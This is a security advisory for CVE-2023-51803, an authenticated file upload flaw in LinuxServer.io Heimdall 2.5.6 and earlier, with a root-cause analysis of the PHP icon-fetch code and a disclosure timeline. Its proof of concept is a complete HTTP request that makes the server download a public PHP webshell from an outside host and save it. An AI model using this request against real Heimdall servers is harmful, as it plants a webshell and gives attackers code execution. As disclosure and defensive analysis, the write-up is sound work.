..

CVE-2023-51803 - Authenticated Arbitrary File Upload in LinuxServer.io Heimdall

Overview

Heimdall, offered by LinuxServer.io, is an application dashboard designed to organize your web applications and links in a user-friendly way. Think of it as a customizable start page for your web browser. The Heimdall version 2.5.6 and below is found vulnerable to arbitrary file upload in uploading icon functionality. Successfully exploitation will lead to code execution in context of web server user.

Root Cause Analysis

Heimdall Application Dashboard is written in PHP and using Laravel Framework.

Entry Point - URL Routing Definition

File: routes/web.php

Route::resource('items', ItemController::class);

Routing declaration, meaning that all /items route will be handled by ItemController.class
How laravel map routing to Controller class

Verb URI Action Route Name
GET /items index items.index
GET /items/create create items.create
POST /items store items.store
GET /items/{id} show items.show
GET /items/{id}/edit edit items.edit
PUT/PATCH /items/{id} update items.update
DELETE /items/{id} destroy items.destroy

Controller Class

File: app/Http/Controllers/ItemController.php
Line: 290-298

public function store(Request $request): RedirectResponse # <-- [1]
{
    self::storelogic($request); # <-- [2]

    $route = route('dash', []);

    return redirect($route)
        ->with('success', __('app.alert.success.item_created'));
}

storeLogic:

public static function storelogic(Request $request, $id = null): Item
{
    $application = Application::single($request->input('appid'));
    $validatedData = $request->validate([
        'title' => 'required|max:255',
        'url' => 'required',
    ]);

    if ($request->hasFile('file')) {
        $path = $request->file('file')->store('icons'); # <-- [2.5]
        $request->merge([
            'icon' => $path,
        ]);
    } elseif (strpos($request->input('icon'), 'http') === 0) { # <-- [3]
        $options = array(
            "ssl" => array(
                "verify_peer" => false,
                "verify_peer_name" => false,
            ),
        );
        $contents = file_get_contents($request->input('icon'), false, stream_context_create($options)); # <-- [4]

        if ($application) {
            $icon = $application->icon;
        } else {
            $file = $request->input('icon');
            $path_parts = pathinfo($file);
            $icon = md5($contents); # <-- [5]
            $icon .= '.' . $path_parts['extension']; 
        }
        $path = 'icons/' . $icon;

        // Private apps could have here duplicated icons folder
        if (strpos($path, 'icons/icons/') !== false) {
            $path = str_replace('icons/icons/', 'icons/', $path);
        }
        if (!Storage::disk('public')->exists($path)) {
            Storage::disk('public')->put($path, $contents); # <-- [6]
        }
        $request->merge([
            'icon' => $path,
        ]);
    }

Application Logic Flow

  • [1] Update item method
  • [2] All $request is passed to storeLogic function
  • [2.5] Arbitrary file upload via parameter file
  • [3] Application check if value of param icon contain http
  • [4] Do HTTP Request to the URL
  • [5] File name generation algorithm
  • [6] Saved to public/icons/md5($file_content).$extension

Proof of Concept

POST /items/2 HTTP/1.1
[snip request header]

-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="_method"

PATCH
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="_token"

[ token ]
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="pinned"

0
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="appid"

null
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="website"

https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/php/up.php
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="title"

xxxx
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="colour"

#161b1f
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="url"

https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/php/up.php
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="tags[]"

0
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="icon"; 

https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/php/up.php
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="appdescription"

app desc
-----------------------------317412227619173808982867681029--

Disclosure Timeline

  • 2023-05-30: Contact developer via Discord
  • 2023-06-05: Initial Fix
  • 2023-06-06: Improved Fix
  • 2023-09-21: Version v2.5.7 Released
  • 2023-12-18: Requested CVE from Mitre
  • 2024-01-11: CVE-2023-51803 Assigned